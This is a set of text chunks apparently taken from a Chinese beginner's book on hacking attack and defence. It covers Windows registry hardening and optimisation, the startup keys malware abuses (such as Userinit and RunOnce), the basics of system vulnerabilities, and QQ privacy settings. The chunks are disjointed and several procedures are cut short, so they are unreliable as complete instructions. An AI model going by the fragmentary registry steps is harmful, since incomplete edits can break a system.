    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到【 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ policies】注册表项。"},
    {"text": "2 在该注册表项上单击鼠标右键，然后从弹出的快捷菜单中选择 【新建】 【项】菜单项，新建一个注册表项并将其重新命名为 “Explorer”。 3 选择【Explorer】注册表项，在右边窗格中单击鼠标右键，然 后从弹出的快捷菜单中选择【新建】 【DWORD（32-位）值】菜单 项，新建一个名为“RestrictRun”的子键。 4 双击该新建子键，打开【编辑 DWORD（32 位）值】对话框，在 【数值数据】文本框中输入数值“1”，单击 按钮完成设 置。 5 退出【注册表编辑器】窗口并重新启动计算机即可。"},
    {"text": "指定可以运行的应用程序 用户除了可以通过修改注册表来实现禁止其他用户运行应用程序 以外，还可以通过修改注册表来指定其他用户只能运行哪些程序。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，展开 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersio n\\policies\\Explorer】注册表项。 2 在【Explorer】注册表项上单击鼠标右键，然后从弹出的快捷 菜单中选择【新建】 【项】菜单项，新建一个注册表项并将其重 新命名为“RestrictRun”。"},
    {"text": "1 按照前面介绍的操作方法打开【注册表编辑器】窗口，然后按 照下面的目录在该窗口中依 次 找 到 下 面 的 注 册 表 项 【 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ Windows NT\\CurrentVersion\\Winlogon】。"},
    {"text": "2 在右侧窗格中找到【allocatecdroms】子键并双击（如果在右 侧窗格中没有，则可在右边窗格的空白处单击鼠标右键，然后从弹出 的快捷菜单中选择【新建】 【字符串值】菜单项，新建一个子 键），打开【编辑字符串】对话框。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersio n\\policies】注册表项。"},
    {"text": "2 在该注册表项上单击鼠标右键，然后从弹出的快捷菜单中选择 【新建】 【项】菜单项，新建一个注册表项并将其重新命名为 “Network”。 3 选中该新建的注册表项，然后在右边窗格中的空白处单击鼠标 右键，从弹出的快捷菜单中选择【新建】 【二进制值】菜单项， 新建一个子键并将其重新命名为“MinPwdLen”。"},
    {"text": "3. 其他的系统安全设置 用户在操作计算机的过程中，除了会涉及前面介绍过的一些系统 安全以外，还会涉及其他一些比较常用的安全设置，例如禁止使用 【控制面板】功能、隐藏【控制面板】窗口中的项目、禁止 IE 浏览 器查看本地磁盘的功能、禁止使用INF文件及隐藏文件的使用时间等。"},
    {"text": "2 在右侧窗格中的空白处单击鼠标右键，从弹出的快捷菜单中选 择【新建】 【DWORD&nbsp;（32-位）值】菜单项，新建一个子键 并将其重新命名为“NoControlPanel”。 3 双击该新建子键，打开【编辑 DWORD（32 位）值】对话框，在 【数值数据】文本框中输入数值“1”，单击 按钮完成设 置。"},
    {"text": "4 退出【注册表编辑器】窗口，并重新启动计算机或者注销当前 用户，即可发现【开始】 【控制面板】菜单项已经不见了。 隐藏【控制面板】窗口中的项目 用户可以通过设置来禁止使用【控制面板】功能，但是有些时 候，用户只需将【控制面板】窗口中的一些比较敏感的项目隐藏即 可。 用户可以使用注册表来完成这一操作，下面将以隐藏【控制面 板】窗口中的【添加或删除程序】选项为例，其具体的操作步骤如 下。 1 按照前面介绍的操作方法打开【注册表编辑器】窗口，然后按 照下面的目录依次找到 【HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer】注册表项。"},
    {"text": "2 在右侧窗格中的空白处单击鼠标右键，然后从弹出的快捷菜单 中选择【新建】 【DWORD（32-位）值】菜单项，新建一个子键并 将其重新命名为“DisallowCpl”。 3 双击该新建的子键，打开【编辑DWORD（32 位）值】对话框。"},
    {"text": "4 在左侧窗格【Explorer】键值项上单击鼠标右键，选择【新 建】 【项】菜单项，新建一个子项，并命名为“DisallowCpl”。 5 选中【DisallowCpl】键值项，在右侧窗格中的空白处单击鼠标 右键，然后从弹出的快捷菜单中选择【新建】 【字符串值】菜单 项，新建一个子键并将其重新命名为“1”。"},
    {"text": "此时控制面板中的【添加或删除程序】选项将 不再显示，而其的他项目仍能正常显示。 部分显示【控制面板】窗口中的项目 如果控制面板中只需指定的项目，其他的都不显示，可以采用如 下方法。"},
    {"text": "1 按照前面介绍的操作方法打开【注册表编辑器】窗口，然后按 照下面的目录依次找到 【HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer】注册表项。"},
    {"text": "2 在右侧窗格中的空白处单击鼠标右键，然后从弹出的快捷菜单 中选择【新建】 【DWORD（32-位）值】菜单项，新建一个子键并 将其重新命名为“RestrictCpl”。 3 双击该新建的子键，打开【编辑DWORD（32 位）值】对话框。"},
    {"text": "4 在左侧窗格【Explorer】键值项上单击鼠标右键，选择【新 建】 【项】菜单项，新建一个子项，并命名为“RestrictCpl”。 5 选中【RestrictCpl】键值项，在右侧窗格中的空白处单击鼠标 右键，然后从弹出的快捷菜单中选择【新建】 【字符串值】菜单 项，新建一个子键并将其重新命名为“1”。"},
    {"text": "禁止IE浏览器查看本地磁盘的功能 默认情况下，用户可以在文件夹窗口的地址栏中输入网络地址， 打开 IE 浏览器； 同样，用户也可以在IE浏览器窗口的地址栏中输入 相应的本地磁盘路径查看本地磁盘的情况。"},
    {"text": "虽然这一功能方便了用户在网页与本地磁盘文件夹之间进行切 换，但是这往往也会成为网络攻击者利用的漏洞。 为了防止这种攻击 的发生，用户可以设置禁止在IE浏览器查看本地磁盘的功能。"},
    {"text": "在右侧窗格中的空白处单击鼠标右 键，然后从弹出的快捷菜单中选择【新建】 【DWORD（32-位） 值】菜单项，新建一个子键并将其重新命名为“NoFileURL”。 2 双击该新建子键，打开【编辑 DWORD（32 位）值】对话框，然 后在【数值数据】文本框中输入数值“1”，单击 按钮完成 设置。"},
    {"text": "禁止使用INF文件 INF文件是Windows中的软件安装信息文件， Windows 的标准安装 程序根据此文件内的安装信息对软件或驱动程序等进行安装，它是 Windows中不可或缺的文件。"},
    {"text": "5.3.4 使用注册表进行系统设置 使用注册表还可以对系统进行设置，使系统更符合个人的使用习 惯，下面介绍一些常用的系统设置。 1. 开机和关机的设置 默认情况下，所有计算机的开机和关机的信息都是一样的。 但是 这些开机和关机的信息并非固定和不可更改的，用户也可以通过相应 的设置来更改。 下面介绍几个实例，以帮助用户了解并掌握一些通过修改注册表 来更改开机和关机相关信息的方法。"},
    {"text": "另外，用户在从网上下载或者安装软件时，一些强制安装的软件 会自动将其启动信息添加到注册表中，这样它们就可以随计算机的运 行而运行了，例如一些木马、病毒等。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到【HKEY_LOCAL_MACHINE\\SOFTWARE\\ Microsoft\\Windows NT\\CurrentVersion\\Winlogon】注册表项。"},
    {"text": "在这里所说的随系统启动并不等同于在系统启动后再启动，而是 指在系统启动时相应的程序便会启动，至于在系统启动以后再启动， 则是指系统启动并进入桌面以后该程序才会启动。"},
    {"text": "快速关闭计算机 用户在使用Windows XP时往往会觉得关机特别缓慢。 正常情况 下，一般需要十几秒钟才能够完全关闭计算机，如果计算机配置差一 些的话，需要的时间可能会更长，这样不但浪费了时间，而且也容易 引起用户的不耐烦的情绪。 用户可以通过修改注册表来实现快速关闭计算机的目的。"},
    {"text": "然后 在右侧窗格中的空白处单击鼠标右键，从弹出的快捷菜单中选择【新 建】 【字符串值】菜单项，新建一个子键，并将该新建的子键重 新命名为“FastReboot”。"},
    {"text": "删除内存中多余的DLL文件 扩展名为.dll 的文件往往会成为木马或者病毒的动态链接文件， 另外，多余的DLL文件还会占用内存和硬盘中的大量空间。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersio n\\Explorer】注册表项。"},
    {"text": "2 在右侧窗格中的空白处单击鼠标右键，然后从弹出的快捷菜单 中选择【新建】 【DWORD（32-位）值】菜单项，新建一个子键， 并将其重新命名为“AlwaysUnloadDLL”。 3 双击该新建的子键，打开【编辑DWORD（32 位）值】对话框。"},
    {"text": "2. 系统的优化设置 默认情况下，系统的设置适合于大多数用户。 但是，如果用户想 要让自己的计算机系统发挥最佳的性能，则需要进行系统的优化设 置。 当然，用户可以通过一些优化类软件，例如魔方、Windows 7优化 大师、Windows优化大师和超级兔子魔法设置等来对计算机系统进行一 些设置，但是并非所有的优化都可以通过这些软件来设置。"},
    {"text": "设置发生错误时不出现警告窗口 当用户执行一些应用程序时，有时会因为种种原因而导致一些错 误发生，这时 Windows 会弹出警告对话框，以提示用户程序的出错信 息。 但是并非所有的用户都希望弹出警告对话框，如果用户不希望弹 出警告对话框，可以通过修改注册表来实现。"},
    {"text": "2 在右侧窗格中找到【ErrorMode】子键，双击打开【编辑DWORD （32位）值】对话框，在【数值数据】文本框中输入数值“1”，表示 在出现程序运行错误时不弹出警告信息，单击 按钮完成设 置。"},
    {"text": "清除【添加或删除程序】中的残留项 在Windows XP的【控制面板】窗口中有一个【添加或删除程序】 选项，使用它可以将安装在计算机中的程序卸载。 但是并非所有的程 序都能够通过【添加或删除程序】选项卸载完全，而是会残留一些项 的。 例如相应程序的名称还会残留在【添加或删除程序】里面，对于 一些恶意软件更是如此。 用户可以通过修改注册表将这些残留项删除。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersio n\\Uninstall】注册表项。"},
    {"text": "3 退出【注册表编辑器】窗口，然后重新启动计算机即可使更改 生效。 如果是自己不确定的注册表项，一定不要删除，因为这有可能造 成系统组件的损坏而导致一些功能无法使用。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到【HKEY_LOCAL_MACHINE\\SYSTEM\\Current ControlSet\\Control\\FileSystem】注册表项。 2 在右侧窗格中的空白处单击鼠标右键，然后从弹出的快捷菜单 中选择【新建】 【DWORD（32-位）值】菜单项，新建一个子键， 并将重新命名为“ConfigFileAllocSize”。 3 双击该子键，打开【编辑 DWORD（32位）值】对话框。"},
    {"text": "设置注册表的大小 注册表中存放着计算机中很多的注册信息，包括操作系统的文件 信息、应用软件的注册信息和字体的信息等。 随着用户不断地使用计 算机，注册表也会不断地增大，相应地所占用的磁盘空间也会增加。 用户可以通过修改注册表来设置注册表的大小。"},
    {"text": "2 在右侧窗格中的空白处单击鼠标右键，然后从弹出的快捷菜单 中选择【新建】 【DWORD（32-位）值】菜单项，新建一个子键， 将该新建的子键重新命名为“Registry SizeLimit”。 3 双击该新建的子键，打开【编辑DWORD（32 位）值】对话框。"},
    {"text": "将【磁盘碎片整理程序】命令添加到右键菜单中 磁盘碎片整理是 Windows 中自带的一个系统管理程序，使用磁盘 碎片整理程序对磁盘进行碎片整理不但可以优化磁盘，更为重要的 是，该程序可以将磁盘中的一些碎片进行整理，然后增加一些磁盘空 间。 默认情况下，磁盘碎片整理程序显示在【开始】 【所有程 序】 【附件】 【系统工具】菜单项中，用户若想打开该程 序，必须一级一级目录打开才能找到，不但麻烦，而且浪费时间。 通过修改注册表用户可以实现将【磁盘碎片整理程序】命令添加 到右键菜单中的目的。"},
    {"text": "3 选中该注册表项，然后在右边窗格中双击【（默认）】子键， 打开【编辑字符串】对话框，然后在【数值数据】文本框中输入“磁 盘碎片整理程序”字符（当然用户也可以使用其他具有标识性的文 字），然后单击 按钮完成设置。"},
    {"text": "4 在左边窗格中的【Defrag】注册表项上单击鼠标右键，然后从 弹出的快捷菜单中选择【新建】 【项】菜单项，新建一个注册表 项并将其重新命名为“command”。 5 选中该新建的注册表项，然后双击右边窗格中的【（默认）】 子键，打开【编辑字符串】对话框，在【数值数据】文本框中输入 “defrag.exe％1”并单击 按钮。 6 退出【注册表编辑器】窗口，然后使用鼠标右键单击【我的计 算机】窗口中的相应的磁盘驱动器，即可发现在右键菜单中增加了 【磁盘碎片整理程序】菜单项。 将【清空回收站】命令添加到右键菜单中 当用户删除计算机中的文件时，并不是直接地将这些文件彻底删 除，而是暂时将它们移动到【回收站】中存放。"},
    {"text": "但是随着用户操作时间的增加，删除的文件也越来越多，进而使 得【回收站】所占据的磁盘空间也越来越大，从而造成了系统性能的 低下。 这时候，用户就需要将【回收站】中的内容清空，以腾出更多 的空间来存放新的被删除的文件。 然而每次清空回收站都需要进入【回收站】中或者在桌面上的回 收站图标 上单击鼠标右键，然后从弹出的快捷菜单中选择【清空 回收站】菜单项清空，不仅麻烦，而且浪费时间。 用户可以通过修改注册表来实现将【清空回收站】命令添加到右 键菜单中的目的，这样用户只需使用鼠标右键单击相应的文件，即可 实现清空回收站的目的。"},
    {"text": "1 按照前面介绍的操作方法打开【注册表编辑器】窗口，并按照 下面的目录依次找到【HKEY_CLASSES_ROOT\\*\\shellex\\ContextMe nuHandlers】注册表项。 2 在该注册表项上单击鼠标右键，选择【新建】 【项】快捷 菜单项，新建一个注册表项并将其重新命名为“{645FF040-5081- 101B-9F08-00AA002F954E}”。 3 退出【注册表编辑器】窗口即可。"},
    {"text": "设置磁盘驱动器的自动播放功能 在默认情况下，Windows只是将自动播放的“权力”赋予了光驱， 而计算机中的硬盘却没有这样的功能。 用户可以通过修改注册表来实现将自动播放的“权力”赋予计算 机中的硬盘的目的。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersio n\\policies\\Explorer】注册表项（如果没有则新建）。 2 选择【Explorer】注册表项，然后在右侧窗格中单击鼠标右 键，从弹出的快捷菜单中选择【新建】 【DWORD（32-位）值】菜 单项，新建一个子键并将其重新命名为“NoDriveAutoRun”。"},
    {"text": "输入数值“1”，表示相应的磁盘驱动器 不具备自动播放功能； 输入数值“0”，表示相应的磁盘驱动器具有自 动播放功能。 例如，如果用户想要设置C盘具有自动播放功能，则可双 击【NoDriveAutoRun】子键，打开【编辑DWORD值】对话框，然后在 【数值数据】文本框中输入“0000000c”，单击 按钮完成设 置。"},
    {"text": "如果用户的 计算机中的相应磁盘中含有Autorun.inf文件，则当用户使用鼠标双击 相应磁盘时便会运行自动播放功能。 有的时候 Autorun.inf 文件会是一种名为“AutoRun”的病毒， 所以当用户的磁盘当中有了这个文件时，也要谨慎对待。 禁止光驱的自动播放功能 用户在使用计算机的过程中要经常使用光驱，当用户使用光驱 时，系统会自动调用光盘中的AutoRun程序。 虽然自动播放功能为用户提供了方便，但是有的时候用户并不希 望运行自动播放功能，而是要查看光盘中的文件，这时就不需要运行 自动播放功能。 用户可以通过修改注册表来实现禁止光盘的自动播放功能的目 的。"},
    {"text": "在【数值数据】文本框中输入数值 “0”，表示不运行自动播放功能； 输入数值“1”，表示运行自动播 放功能。 此处输入数值“0”，单击 按钮完成设置。"},
    {"text": "修改电源管理方案 如用户所知，电源是否安全可靠直接影响着系统能否正常运行， Windows操作系统为用户提供了6种电源配置方案。 用户可以通过修改注册表来更改和选择电源的配置方案，从而给 自己的计算机运行创造一个安全可靠的电源环境。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到【HKEY_CURRENT_USER\\Control Panel\\Power Cfg】 注册表项，在右侧窗格中找到【CurrentPowerPolicy】子键。"},
    {"text": "2 双击该子键，打开【编辑字符串】对话框，在【数值数据】文 本框中显示的数值代表当前用户所选择的电源配置方案的编号，其选 择范围是0～5。"},
    {"text": "5.3.5 使用注册表进行安全设置 随着网络的发展和普及，越来越多的人感受到了它带来的便利， 但与此同时也带来了很多不安全的因素，例如网络攻击、病毒和木马 及恶意程序等。"},
    {"text": "1. 设置 IE浏览器 要想进入网络世界，必须有一个进入这个世界的门户。 Windows中 一直都有一个进入网络世界的门户，这便是 Internet Explorer，即 通常所说的IE浏览器。 通过使用IE浏览器，用户可以很方便地连接到 网络上的任何地址，可以浏览网页、下载资源和在线欣赏等。 用户可以通过修改注册表来实现设置 IE 浏览器的目的，使之更 加安全可靠。"},
    {"text": "因此进行必要的设置，以禁止 IE 浏览器记录密码对用户来说是 很有帮助的。 用户可以通过修改注册表来实现禁止 IE 浏览器记录密码的功 能，具体的操作步骤如下。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion \\Internet Settings】注册表项。"},
    {"text": "2 在右侧窗格中的空白处单击鼠标右键，然后从弹出的快捷菜单 中选择【新建】 【DWORD（32-位）值】菜单项，新建一个子键， 将其重命名为“DisablePasswordCatching”。 3 双击该新建子键，打开【编辑 DWORD （32）值】对话框，在 【数值数据】文本框中输入数值“1”，这就表示禁止IE浏览器自动记 录密码的功能，单击 按钮完成设置。 4 关闭【注册表编辑器】窗口，并重新启动计算机或者注销当前 用户，则当用户再次在网页中输入相应的密码信息时，IE浏览器将不 会再记录用户的密码。"},
    {"text": "隐藏internet选项中的选项卡 Internet 选项对用户非常的重要，它是我们进入互联网的重要的 设置数据，时常会受到木马或人为的篡改，可以通过注册表来隐藏它 的选项夹。"},
    {"text": "1 用前面介绍的方法打开注册表编辑器，展开 【HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel】注册表项。 2 选中【Control Panel】键值项，在右侧窗格的空白区域中单击 鼠标右键，选择【新建】 【DWORD（32-位）值】菜单项，新建一 个子键值并将其重命为“generaltab”。 3 双击【generaltab】键值项，打开【DWORD（32 位）值】对话 框，在【数值数据】文本框中输入数值“1”，单击 按钮完 成设置。"},
    {"text": "让【控制面板】窗口不显示【文件夹选项】，可以通过注册表来 实现，具体的操作步骤如下。 1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer】注册表项。 2 选中【Explorer】键值项，在右侧窗格的空白区域中单击鼠标 右键，选择【新建】 【DWORD（32-位）值】菜单项，新建一个子 键值并将其重命为“nofolderoptions”。 3 双击【nofolderoptions】子键，打开【DWORD（32 位）值】对 话框，在【数值数据】文本框中输入数值“1”。 4 单击 按钮完成设置，关闭【注册表编辑器】并重新启 动电脑，再次打开【控制面板】窗口，会发现【文件夹选项】不见 了。"},
    {"text": "3. 禁止添加打印机 胡乱添打印机可能增加网络故障的排除难度，也有可能造成病毒 的传播，为此可以通过注册表限制，让用户不能随意的添加打印机， 具体的操作步骤如下。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，然后按照下 面的目录依次找到 【HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer】注册表项。"},
    {"text": "选中【Explorer】键值项，在右侧 窗格的空白区域中单击鼠标右键，选择【新建】 【DWORD（32- 位）值】菜单项，新建一个子键值并将其重命为“NOaddPrinter”。 2 双击【NOaddPrinter】子键，打开【DWORD（32 位）值】对话 框，在【数值数据】文本框中输入数值“1”，单击 按钮完 成设置。"},
    {"text": "5.4 危险的注册表启动项 网络的普及使得病毒、木马及网络攻击等随之更加易见，注册表 中的敏感项也成为它们的专注对象，它们会利用这些注册表项实现在 被攻击电脑上的自动启动。"},
    {"text": "2.【Userinit】子键 该子键也能够使系统启动时自动初始化程序。 通常在该子键下有 一个名为Userinit的exe文件。 这个键允许指定用逗号分隔的多个程 序，例如“userinit.exe，OSA.exe”，一般情况下，逗号后面的即为 病毒或木马程序。 该子键在注册表中的具体位置是： HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windo ws NT\\CurrentVersion\\Winlogon\\Userinit。"},
    {"text": "3.【RunOnce】注册表项 该注册表项指定了用户登录系统之后要运行的程序，安装程序通 常会调用该注册表项进行自动运行，其在注册表中的位置是： HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\ RunOnce 和 HKEY_LOCAL_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Once。"},
    {"text": "前一个位置会在用户登录之后立即运行程序，运行时间在其他 【Run】子键指定的程序之前； 后一个位置在系统处理其他【Run】子 键指定的程序以及【启动】文件夹中的内容之后运行。"},
    {"text": "4.【Installed Components】注册表项 该注册表项中包含安装在系统中的程序的信息，它也是病毒、木 马和恶意程序经常“光顾”的地方。 该注册表项在注册表中的具体位置是： HKEY_LOCAL_MACHINE\\SOFTWARE\\Micros-oft\\Active Setup\\Installed Components。 5.【User Shell Folders】注册表项 该项中包含了当前用户在注册表中的配置信息。 该注册表项在注册表中的具体位置是： HKEY_LOCAL_MACHINE\\SOFTWARE\\Microso ft\\Windows\\CurrentVersion\\Explorer\\UserShell Folders。"},
    {"text": "高手过招 修改注册表开启AHCI模式 部分电脑的硬盘有AHCI和IDE两种工作模式，如果在安装操作系统 时使用了IDE模式，以后想要在BIOS中转换成AHCI模式，会出现操作系 统无法启动的情况，此时用户可以使用修改注册表的方法，避免去重 新安装操作系统。 修改注册表启用硬盘AHCI模式的具体操作步骤如下。 1 使用前面介绍的方法打开【注册表编辑器】程序窗口，依次展 开 【HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\msahci 】注册表项。"},
    {"text": "AHCI是Advanced Host Controller Interface （高级主控接口/ 高级主机控制器接口）的缩写，是 Intel 主导的一项硬盘技术，可以 在一定程度上提升SATA硬盘的速度，建议将其打开。"},
    {"text": "在Windows Vista SP1及以后版本的操作系统中，在 BIOS 中把硬 盘更改为 AHCI 模式后，操作系统会自动地安装驱动程序。 如果是 Vista SP1之前的操作系统，需要更改注册表设置或先下载并安装 AHCI 驱动后，再进入 BIOS 将硬盘更改为AHCI模式。"},
    {"text": "更改注册表键值的用户权限 一般来说，大部分的用户都可以通过注册表来修改电脑设置，由 于修改注册表比较危险，错误的操作有可能导致系统瘫痪，此时可以 对注册表的修改权限进行设置，让一些用户无权修改注册表项值，从 而保护系统的使用安全。 下面以在 Windows 7 操作系统中设置 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Micros oft\\Windows\\CurrentVersion\\Run】注册表项的用户权限为例，具体 的操作步骤如下。 1 使用前面介绍的方法打开【注册表编辑器】程序窗口，依次展 开 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersio n\\Run】注册表项。 2 右键单击【Run】注册表项，选择【权限】快捷菜单项。 3 打开【Run的权限】对话框，在【组或用户名称】列表框中显示 出当前能对该项进行操作的用户列表；"},
    {"text": "在下面的权限列表框中显示了 对应组或用户的访问权限。 如果【组或用户名称】列表框中没有要设 置访问权限的组或用户的名称，可先把它们添加进来。"},
    {"text": "8 【Guest】用户已添加到【Run的权限】对话框中的【组或用户 名】列表中。 选中新添加的用户【Guest】，单击【Guest的权限】功 能区中的 按钮。 9 打开【Run的高级安全设置】对话框，双击【权限项目】中的 【Guset】用户。 10 弹出【Run的权限项目】对话框，在【权限】列表框中显示了 Guset用户允许或拒绝访问的权限项目。 用户可以在此设置Guest用户 的权限，选中【允许】单选钮设置允许权限，选择【拒绝】单选钮设 置拒绝权限，例如选中【删除】权限中的【拒绝】单选钮。"},
    {"text": "11 返回【Run的高级安全设置】对话框，可以看到名称为 【Guest】的用户类型变成【拒绝】，其他的用户和组可以采用相同的 方法进行权限设置，设置完毕后单击 按钮。 12 弹出【Windows安全】对话框，提醒用户是否要设置该用户的 拒绝权限，如果确认设置正确，单击 按钮即可。 13 重新启动电脑后，Guset账户的权限设置即可生效。"},
    {"text": "第6章 系统漏洞攻防 随着Windows的广泛使用，不断有新的漏洞被发现，微软也不断推 出新的修补程序，用户需要了解系统漏洞及其修补方法，以免给黑客 可乘之机。 光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【系统攻防\\系统漏洞攻防】。 6.1 认识漏洞 系统漏洞也称为安全缺陷，这些安全缺陷会被技术高低不等的入 侵者所利用，从而达到控制目标主机或造成一些更具破坏性的目的。 6.1.1 漏洞基础知识 1. 什么是漏洞 漏洞是硬件、软件、协议在具体实现时，或者是在系统安全策略 设计和规划时存在的缺陷，会使攻击者能够在未被合法授权的情况 下，访问系统资源或者破坏系统的完整性与稳定性。 系统漏洞也称为安全缺陷，这些安全缺陷会被技术高低不等的入 侵者所利用，从而达到控制目标主机或造成一些更具破坏性的目的。 漏洞除了系统（硬件、软件）本身固有的缺陷之外，还包括用户 的不正当配置、管理、制度上的风险和其他非技术性因素造成的系统 风险。 可以简单地说，漏洞是指所有威胁到计算机信息安全的事物， 包括人员、硬件、软件、程序和数据。 2. 漏洞的特点 从信息安全的角度看，是先有漏洞并借助漏洞实现对系统攻击的 可能性，然后才会有系统补丁。 漏洞是恶意攻击者所借助的缺陷，而 安装补丁是对漏洞的修补。 漏洞是广泛存在的，不同的设备、操作系 统、应用系统都会存在安全漏洞。 （1）漏洞的时间局限性 任何系统从发布的那一天起，随着最终用户的深入使用，以及安 全管理人员和黑客们孜孜不倦的研究，系统中存在的漏洞会被不断地 发掘出来，这些被发现的漏洞也会不断被系统供应商发布的补丁软件 所修补，或是在以后发布的新版系统中得以纠正。 不过，在新版系统 纠正了旧版本中漏洞的同时，也会出现一些新的漏洞和错误。 随着时间的推移，旧的漏洞会不断消失，新的漏洞也将不断出 现，所以漏洞问题会长期存在。"},
    {"text": "（2）漏洞的广泛性 漏洞会影响到很大范围的软、硬件设备，包括操作系统本身及其 支撑软件平台、网络客户和服务器软件、网络路由器和安全防火墙 等。"},
    {"text": "换句话说，在这些不同的软、硬件设备中，都有可能存在不同的 安全漏洞。 在不同种类的软、硬件设备，同种设备的不同版本之间， 由不同设备构成的不同系统之间，以及同种系统在不同的设置条件 下，都会存在各自不同的安全漏洞。 （3）漏洞的隐蔽性 系统安全漏洞，是指可能对系统安全造成危害、系统本身所具有 的或在设置上所存在的缺陷。 总之，漏洞是系统在具体使用中的错 误。 安全漏洞是在对安全协议的具体实现中发生错误，是意外出现的 非正常情况。 在实际应用的系统中，都会不同程度的存在各种潜在安 全性错误。 也就是说，所有系统都存在安全漏洞，无论这些漏洞是否 已被发现，无论该系统的安全级别如何。 并不是系统所属的安全级别越高，系统中所存在的漏洞就越少， 也并不是系统中存在的错误都是安全漏洞，只有那些能威胁系统安全 的错误才是漏洞。 许多错误在通常情况下，并不会对系统安全造成危 害，只有被人在某些条件下故意使用时才会影响系统安全。 （4）漏洞的被发现性 漏洞虽然从一开始就存在于系统当中，但是，系统本身并不会发 现漏洞，而是由用户在实际使用中或由安全人员和黑客在研究中发现 的。 入侵者会有意利用其中的某些错误，并使其成为威胁系统安全的 工具，此时，计算机使用者才会认识到这个错误是一个系统安全漏 洞。"},
    {"text": "（1）第一阶段——发现漏洞 由于软件设计初期考虑不周或未考虑安全问题等原因导致漏洞的 存在，漏洞研究人员发现漏洞并报告给相关厂商，厂商发布安全公 告，并提供升级补丁程序。"},
    {"text": "（2）第二阶段——初步攻击 恶意攻击者对安全补丁进行研究，编写漏洞攻击程序并进行传 播，由于漏洞管理方面不可能在第一时间升级系统漏洞补丁，从而为 漏洞攻击创造了条件，此阶段漏洞的危害较小。"},
    {"text": "新手学黑客攻击与防范从入门到精通 (计算机软件实战从入门到精通系列 6) 2013 1 单击QQ程序窗口左下角的【主菜单】图标 ，选择【系统设 置】 【好友和聊天】菜单项。 2 弹出【系统设置】对话框，切换到【查找联系人】选项卡，撤 选【接收陌生人发送的“打招呼”消息】复选框，最后单击 按钮即可。 把QQ设置成拒绝接收陌生人消息后，任何人都将无法通过申请将 你加为好友，只能由你来主动添加别人。"},
    {"text": "③ 使用QQ代理服务器。 使用代理服务器后，所有的QQ消息都将通过代理服务器进行转 发，攻击者无法找到用户的真实IP地址，从而有效的保护了用户的QQ 使用安全。 在QQ中使用代理服务器的具体操作步骤如下。 1 运行QQ程序，出现QQ登录界面，单击 按钮。 2 弹出【设置】对话框，切换到【网络设置】选项卡，在【类 型】下拉列表选择框里选择合适的网络类型，QQ 2012支持 HTTP代 理、SOCKS5代理和浏览器设置三种代理方式。"},
    {"text": "在此以HTTP为例，在 【地址】文本框中输入能够使用的代理IP地址，在【端口】文本框中 输入该代理对应的端口号，单击 按钮。 3 如果IP地址和端口可用，将会弹出【代理测试结果】对话框， 否则用户需要检查输入是否正确或者更换其他可用的代理IP地址和端 口号。"},
    {"text": "4依次单击 按钮返回QQ2012登录界面，重新登录QQ后， 对方将无法看到自己的真实IP地址，他所能看到的只是代理服务器的 IP地址，对方无法通过IP地址进行信息炸弹的发送。"},
    {"text": "QQ信息查看 虽然QQ 2012中对所有的聊天信息都进行了加密，但黑客们仍有办 法查看到用户的聊天信息，这对用户的信息安全造成了极大的威胁。 目前查看QQ信息主要通过后台偷偷盗取的方式，QQ信息查看程序 运行后，会监视QQ程序是否在运行，一旦用户登录了 QQ，信息查看程 序就会偷偷地把聊天信息导出，这样用户所有的聊天信息都能在信息 查看工具中看到，部分信息查看工具还能把聊天信息发送到指定的邮 箱里。 预防QQ信息查看的方法主要有两种，阻止QQ信息查看程序的运 行，定期清理聊天信息。 ① QQ用户应及时升级杀毒软件病毒库，定期对电脑进行扫描，阻 止QQ信息查看程序的运行。"},
    {"text": "② 用户平时应尽量少用 QQ的密码保存功能和QQ的自动登录功 能，在公共场所登录QQ后，应及时清理账户登录信息和聊天信息。 在QQ的登录界面，单击已经登录号码后的下拉列表按钮，选择要 删除的账户，单击后面的删除图标。 弹出【删除账号】对话框，推荐选中【删除此账号的所有记录文 件】复选框，单击 按钮。"},
